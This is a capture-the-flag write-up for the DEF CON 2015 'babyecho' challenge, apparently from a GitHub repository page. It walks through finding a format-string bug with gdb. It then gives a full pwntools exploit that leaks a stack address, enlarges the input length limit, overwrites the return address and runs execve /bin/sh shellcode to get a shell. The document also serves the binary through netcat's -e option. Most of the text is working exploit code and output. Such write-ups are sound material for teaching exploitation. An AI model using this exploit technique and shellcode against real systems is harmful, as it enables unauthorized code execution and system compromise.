Skip to content

Latest commit

 

History

History
 
 

DEF CON CTF Qualifier 2015

Folders and files

NameName
Last commit message
Last commit date

parent directory

..
 
 
 
 
 
 

Babyecho writeup

We start by setting a breakpoint just at the beginning of the loop in 0x08048fb6where a buffer of 1023 bytes is passed into eax register. We continue one step and we can see how it compares the default value of 13 bytes with the eax register.

gef➤  x/xw $esp+0x10
0xbffff1a0:	0x0000000d

But if we continue we see how to set the default value to 13 bytes and then read the string Default 13 bytes 0x80be5f1, therefore we must overwrite the variable in some way. After the first call the next function is fread and we have to pass some input. The best way to interact with our application is to see in our input vector and see its output.

naivenom@ubuntu:~/Desktop/baby/babyecho$ ./babyecho 
Reading 13 bytes
%x.%x.%x.%x 
d.a.0.d

So what we can observe is a kind of format string vulnerability. It is very interesting to understand this vulnerability well since it allows us to control writing or reading of memory. In a basic example we have this function printf("Hi %s", pointer) The function replaces the format with the first argument being a pointer to where the string is contained. Next we try to introduce %x%x%x%x%x and we will realize that the last value corresponds to a stack memory address

naivenom@ubuntu:~/Desktop/baby/babyecho$ ./babyecho 
Reading 13 bytes
%x%x%x%x%x
da0dbfc3a22c

So the stack it would be something like this:

0xd 0xa 0x0 0xbfc3a22c

We run gdb again and introduce a few AAAA

gef➤  x/64xw $esp
0xbffff190:	0xbffff1ac	0x0000000d	0x0000000a	0x00000000
0xbffff1a0:	0x0000000d	0xbffff1ac	0x00000000	0x41414141

Ahh, cool we realize that the memory address that we had made leak turns out to be a pointer where we have writing. We can check it in the same way by executing the application and passing the same input but don't forget that we just have 13 bytes to write so we can solve this problem like this AAAA.%5$x

naivenom@ubuntu:~/Desktop/baby/babyecho$ ./babyecho 
Reading 13 bytes
AAAA.%5$x
AAAA.bff2d09c

But if we take a look what we saw in memory with gdb we see that there is a displacement from where our pointer is to where we write, therefore the argument is the seventh.

naivenom@ubuntu:~/Desktop/baby/babyecho$ ./babyecho 
Reading 13 bytes
AAAA.%7$x
AAAA.41414141

Cool!.The next step is knowing that the aslr is activated we need to leak the memory address where it points to writing in memory and be able to use it in our exploit and see the displacement of offsets to where the variable of the 13 bytes is contained so we can modify it by overwriting using format string vulnerability and also as our binary is in a loop we can take the opportunity several times to use our vulnerability in different stages. So we need to leak the stack memory address which contain 0xd. We can use this script for leaking and overwriting the variable.

from pwn import *

p = remote("192.168.80.132", 1234)
log.info(p.recvuntil("\n"))

#STAGE 1: We leak the pointer where we can overwrite with format string vulnerabilty and edit 13 bytes to 1023 for writing shellcode + memory address
p.sendline("%5$x")
buffer_address = int(p.recvuntil("\n"), 16)
log.info("Memory address pointer to write:  %s" % hex(buffer_address))
log.info(p.recvuntil("\n"))
p.sendline("%4$x")
content = int(p.recvuntil("\n"), 16)
log.info("Default lenght of buffer 13 bytes: %s" % hex(content))
log.info(p.recvuntil("\n"))

x = int(buffer_address)-12
log.info("Memory address where is 13 bytes: %s" % hex(x))
leak = ""
leak += p32(x+1)
leak += "%99x%7$n"
log.info("Length of payload: %s" % str(len(leak)))
p.sendline(leak)
p.recvuntil("\n")
log.info(p.recvuntil("\n"))

We have this scenario a virtual machine ubuntu that executes this binary by the port 1234 and another virtual machine where we launched the exploit.

naivenom@ubuntu:~/Desktop/baby/babyecho$ nc -lvp 1234 -e ./babyecho
listening on [any] 1234 ...
192.168.80.129: inverse host lookup failed: Unknown host
connect to [192.168.80.132] from (UNKNOWN) [192.168.80.129] 48148

And run the first stage!

naivenom@parrot:[~/pwn/baby/babyecho] $ python recon.py 
[+] Opening connection to 192.168.80.132 on port 1234: Done
[*] Reading 13 bytes
[*] Memory address pointer to write:  0xbf9f79fc
[*] Reading 13 bytes
[*] Default lenght of buffer 13 bytes: 0xd
[*] Reading 13 bytes
[*] Memory address where is 13 bytes: 0xbf9f79f0
[*] Length of payload: 12
[*] Reading 1023 bytes
[*] Closed connection to 192.168.80.132 port 1234

Great! We can obtain the memory address and operate with it to perform the relevant calculations. In this case, the memory address is about 12 bytes away from the direction we make leak, you can check this in the stack. Once we have the memory address of the variable 0xd it is simply to use format string vulnerabilty to overwrite the content that we want, just 1023 bytes. We can check this using gdb.

gef➤  b *0x08049000
Breakpoint 1 at 0x8049000
gef➤  r < <(python -c 'print "\x95\xf1\xff\xbf"+"%99x%7$n"+"aaaa"')

We evaluate the stack and we can realize than 0xbffff1a1 has been written at the start of our buffer.

gef➤  x/64xw $esp
0xbffff190:	0xbffff1ac	0x0000000d	0x0000000a	0x00000000
0xbffff1a0:	0x0000000d	0xbffff1ac	0x00000000	0xbffff1a1

We add some padding like aaaa for getting another loop and see our modify variable into stack.

gef➤  x/64xw $esp
0xbffff190:	0xbffff1ac	0x000003ff	0x0000000a	0x00000000
0xbffff1a0:	0x000003ff	0xbffff100	0x00000000	0x00616161

Finally we need control eip, the next instruction to execute that points to a memory address that we have control to execute our shellcode. The easy way to control eip is by overwriting a return address. Therefore taking advantage of the format string vulnerability to be able to write in the return address the address in bytes where our shellcode starts + 0x8. So we just set a breakpoint after a call fread function in 0x8049008 and we evaluate the stack.

gef➤  x/64xw $esp-24
0xbffff178:	0x0afff194	0x00000003	0x080481a8	0x080481a8
0xbffff188:	0xbffff5b8	0x08049008	0xbffff1ac	0x0000000d
0xbffff198:	0x0000000a	0x00000000	0x0000000d	0xbffff1ac
0xbffff1a8:	0x00000000	0x41414141

And we realize that the return address is 32 bytes from the memory address where our buffer starts. So we write our exploit and gaining a shell!.

#STAGE 2: Controlling EIP overwriting return address using format string vulnerability + shellcode
shellcode = '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80'
ret = int(buffer_address)-32
log.info("Return address: %s" % hex(ret))
#Bytes to write correspond to the memory address of our buffer + 0x8 which is where our shellcode starts
primeros_bytes = hex(int(buffer_address))[2:6]
ultimos_bytes = hex(int(buffer_address)+0x8)[-4:]
log.info("First bytes of pointer where we have write: %s" % primeros_bytes)
log.info("Last bytes of pointer where we have write: %s" % ultimos_bytes)
payload = "" 
payload += p32(ret) #Offsets to the memory address of the return address on the stack, it is -32 bytes from our buffer
payload += p32(ret+2) #Upper part of the ret
payload += shellcode
payload += "%" + str(int(ultimos_bytes, 16)-31)+ "x%7$hn" #We write in the lower part
payload += "%" + str(int(primeros_bytes, 16)- int(ultimos_bytes, 16)) + "x%8$hn" #We write in the upper part
p.sendline(payload)
p.interactive()

User shell

$ id
uid=1000(naivenom) gid=1000(naivenom) groups=1000(naivenom),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
$ whoami
naivenom

Thanks for the help to Javier(@javierprtd) and Glenn(@disordercls).